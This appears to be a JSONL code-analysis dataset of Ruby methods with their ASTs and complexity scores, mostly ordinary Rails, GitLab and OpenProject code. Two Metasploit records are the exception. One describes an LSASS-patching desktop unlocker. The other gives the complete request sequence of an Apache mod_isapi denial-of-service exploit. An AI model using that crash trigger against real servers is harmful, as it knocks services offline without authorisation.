end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_statuses!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"statuses\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]}]}]}]},\"in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"statuses\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchedRemoveStatusService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_side_effects\"]},{\"type\":\"send\",\"children\":[null,\"skip_side_effects?\"]}]}]}]}]}]}","id":"75fda14e-764f-4b7f-8711-fe5cc1e953f8"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/test_case_test.rb","start_line":340,"raw_source":"def test_process_with_session_kwarg\n process :no_op, method: \"GET\", session: { \"string\" => \"value1\", symbol: \"value2\" }\n assert_equal \"value1\", session[\"string\"]\n assert_equal \"value1\", session[:string]\n assert_equal \"value2\", session[\"symbol\"]\n assert_equal \"value2\", session[:symbol]\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_with_session_kwarg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"no_op\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"value1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"str\",\"children\":[\"value2\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"string\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"string\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"symbol\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"symbol\"]}]}]}]}]}","id":"8b2b9579-7af6-4f79-baaa-c1b155396506"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/deprecated_alias.rb","start_line":30,"raw_source":"def deprecated_alias(old_method, new_method)\n define_method(old_method) do |*args, **kwargs, &block|\n OpenProject::Deprecation.replaced(old_method, new_method, caller_locations)\n send(new_method, *args, **kwargs, &block)\n end\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecated_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_method\"]},{\"type\":\"arg\",\"children\":[\"new_method\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"old_method\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Deprecation\"]},\"replaced\",{\"type\":\"lvar\",\"children\":[\"old_method\"]},{\"type\":\"lvar\",\"children\":[\"new_method\"]},{\"type\":\"send\",\"children\":[null,\"caller_locations\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"new_method\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"cceb86d9-abf4-4513-80e7-b63b0cdea572"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/escalate/screen_unlock.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Windows Escalate Locked Desktop Unlocker',\n 'Description' => %q{\n This module unlocks a locked Windows desktop by patching\n the respective code inside the LSASS.exe process. This\n patching process can result in the target system hanging or\n even rebooting, so be careful when using this module on\n production systems.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'L4teral <l4teral[4t]gmail com>', # Meterpreter script\n 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16\n ],\n 'References' => [\n ['URL', 'http://www.storm.net.nz/projects/16'],\n ],\n 'Platform' => [ 'win' ],\n 'SessionTypes' => [ 'meterpreter' ],\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_sys_process_attach\n stdapi_sys_process_memory_read\n stdapi_sys_process_memory_write\n ]\n }\n },\n 'Notes' => {\n 'Stability' => [CRASH_OS_DOWN],\n 'SideEffects' => [SCREEN_EFFECTS],\n 'Reliability' => []\n }\n )\n )\n\n register_options([\n OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])\n ])\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Escalate Locked Desktop Unlocker\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module unlocks a locked Windows desktop by patching\\n\"]},{\"type\":\"str\",\"children\":[\" the respective code inside the LSASS.exe process. This\\n\"]},{\"type\":\"str\",\"children\":[\" patching process can result in the target system hanging or\\n\"]},{\"type\":\"str\",\"children\":[\" even rebooting, so be careful when using this module on\\n\"]},{\"type\":\"str\",\"children\":[\" production systems.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"L4teral <l4teral[4t]gmail com>\"]},{\"type\":\"str\",\"children\":[\"Metlstorm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.storm.net.nz/projects/16\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_attach\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_memory_read\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_memory_write\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_OS_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"REVERT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable this option to revert the in-memory patch and enable locking again\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"91fa2e12-bdd3-4ee5-ab78-cc3123b602e6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects_finder.rb","start_line":223,"raw_source":"def by_topic_id(items)\n return items unless params[:topic_id].present?\n\n topic = Projects::Topic.find_by_id(params[:topic_id])\n return items.none unless topic\n\n items.with_topic(topic)\n end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"by_topic_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"Topic\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_topic\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}","id":"ea4e652a-697c-4628-ab56-d852be59b0dc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/files/create_dir_service.rb","start_line":5,"raw_source":"def create_commit!\n repository.create_dir(\n current_user,\n @file_path,\n message: @commit_message,\n branch_name: @branch_name,\n author_email: @author_email,\n author_name: @author_name,\n start_project: @start_project,\n start_branch_name: @start_branch)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_commit!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"create_dir\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@file_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"ivar\",\"children\":[\"@commit_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"ivar\",\"children\":[\"@branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_email\"]},{\"type\":\"ivar\",\"children\":[\"@author_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"ivar\",\"children\":[\"@author_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_project\"]},{\"type\":\"ivar\",\"children\":[\"@start_project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_branch_name\"]},{\"type\":\"ivar\",\"children\":[\"@start_branch\"]}]}]}]}]}","id":"0912d9f8-503f-411e-9f3a-569170525cb6"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application.rb","start_line":578,"raw_source":"def run_runner_blocks(app) # :nodoc:\n railties.each { |r| r.run_runner_blocks(app) }\n super\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_runner_blocks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"railties\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"run_runner_blocks\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1055ca09-9d56-4881-a137-991540afca58"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/sanitize_test.rb","start_line":165,"raw_source":"def each(&b)\n @ary.each(&b)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ary\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}","id":"0e83621e-e213-4220-be34-8fba9b1bbc6a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/request_aware_entity.rb","start_line":12,"raw_source":"def request\n options.fetch(:request, nil)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"5d58e6b9-c410-4619-a569-6f0bc6e12d53"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/callbacks_test.rb","start_line":14,"raw_source":"def setup\n @david = authors(:david)\n @thinking = posts(:thinking)\n @authorless = posts(:authorless)\n assert_empty @david.post_log\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@david\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@thinking\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@authorless\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"authorless\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@david\"]},\"post_log\"]}]}]}]}","id":"1fdc011f-6629-4da0-a2bd-7f8b6a49d302"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/formatter/todo_formatter.rb","start_line":80,"raw_source":"def create_todos_retaining_exclusions(inspected_cop_config)\n inspected_cop_config.each do |cop_name, config|\n todo = @todos[cop_name]\n excluded_files = config['Exclude'] || []\n todo.add_files(excluded_files.grep(RETAIN_EXCLUSIONS))\n end\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_todos_retaining_exclusions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inspected_cop_config\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inspected_cop_config\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"todo\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@todos\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"excluded_files\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Exclude\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo\"]},\"add_files\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_files\"]},\"grep\",{\"type\":\"const\",\"children\":[null,\"RETAIN_EXCLUSIONS\"]}]}]}]}]}]}","id":"e1675f42-d8b0-45b3-950d-258736690119"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1314,"raw_source":"def validate_target_project\n return true if target_project.merge_requests_enabled?\n\n errors.add :base, 'Target project has disabled merge requests'\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_target_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"merge_requests_enabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"Target project has disabled merge requests\"]}]}]}]}","id":"cc21dc3a-b72c-4f62-8309-81bc41872f9a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/apache_mod_isapi.rb","start_line":66,"raw_source":"def run\n server_ip = datastore['RHOST']\n if (datastore['RPORT'].to_i != 80)\n server_ip += ':' + datastore['RPORT'].to_s\n end\n isapi_uri = datastore['ISAPI']\n\n # Create a stale pointer using the vulnerability\n print_status('Causing the ISAPI dll to be loaded and unloaded...')\n unload_trigger = 'POST ' + isapi_uri + \" HTTP/1.0\\r\\n\" \\\n \"Pragma: no-cache\\r\\n\" \\\n \"Proxy-Connection: Keep-Alive\\r\\n\" \\\n 'Host: ' + server_ip + \"\\r\\n\" \\\n \"Transfer-Encoding: chunked\\r\\n\" \\\n \"Content-Length: 40334\\r\\n\\r\\n\" +\n Rex::Text.rand_text_alphanumeric(128..255)\n connect\n sock.put(unload_trigger)\n disconnect\n\n # Now make the stale pointer get used...\n print_status('Triggering the crash ...')\n data = Rex::Text.rand_text_alphanumeric(1337..1592)\n crash_trigger = 'POST ' + isapi_uri + \" HTTP/1.0\\r\\n\" \\\n 'Host: ' + server_ip + \"\\r\\n\" \\\n \"Content-Length: #{data.length}\\r\\n\\r\\n\" +\n data\n\n connect\n sock.put(crash_trigger)\n disconnect\n end","complexity_score":52.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"server_ip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"server_ip\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},\"to_s\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"isapi_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ISAPI\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Causing the ISAPI dll to be loaded and unloaded...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unload_trigger\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"POST \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"isapi_uri\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" HTTP/1.0\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Pragma: no-cache\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Proxy-Connection: Keep-Alive\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Host: \"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"server_ip\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Transfer-Encoding: chunked\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Content-Length: 40334\\r\\n\\r\\n\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[128]},{\"type\":\"int\",\"children\":[255]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"unload_trigger\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering the crash ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1337]},{\"type\":\"int\",\"children\":[1592]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"crash_trigger\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"POST \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"isapi_uri\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" HTTP/1.0\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Host: \"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"server_ip\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"crash_trigger\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"f2aa3120-b8f6-437b-9d72-f5ded03db468"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/collaborator_importer.rb","start_line":12,"raw_source":"def initialize(collaborator, project, client)\n @collaborator = collaborator\n @project = project\n @client = client\n @members_finder = ::MembersFinder.new(project, project.creator)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collaborator\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collaborator\",{\"type\":\"lvar\",\"children\":[\"collaborator\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@members_finder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MembersFinder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"creator\"]}]}]}]}]}","id":"9a441e1b-8992-4f38-a982-4341a6dbdac6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/releases/evidence_pipeline_finder.rb","start_line":14,"raw_source":"def execute\n # TODO: remove this with the release creation moved to it's own form https://gitlab.com/gitlab-org/gitlab/-/issues/214245\n return params[:evidence_pipeline] if params[:evidence_pipeline]\n\n sha = existing_tag&.dereferenced_target&.sha\n sha ||= repository&.commit(ref)&.sha\n\n return unless sha\n\n project.ci_pipelines.for_sha(sha).last\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"evidence_pipeline\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"evidence_pipeline\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_tag\"]},\"dereferenced_target\"]},\"sha\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"commit\",{\"type\":\"send\",\"children\":[null,\"ref\"]}]},\"sha\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"ci_pipelines\"]},\"for_sha\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]},\"last\"]}]}]}","id":"af7c58ca-a502-4a06-872f-67cb41744488"} 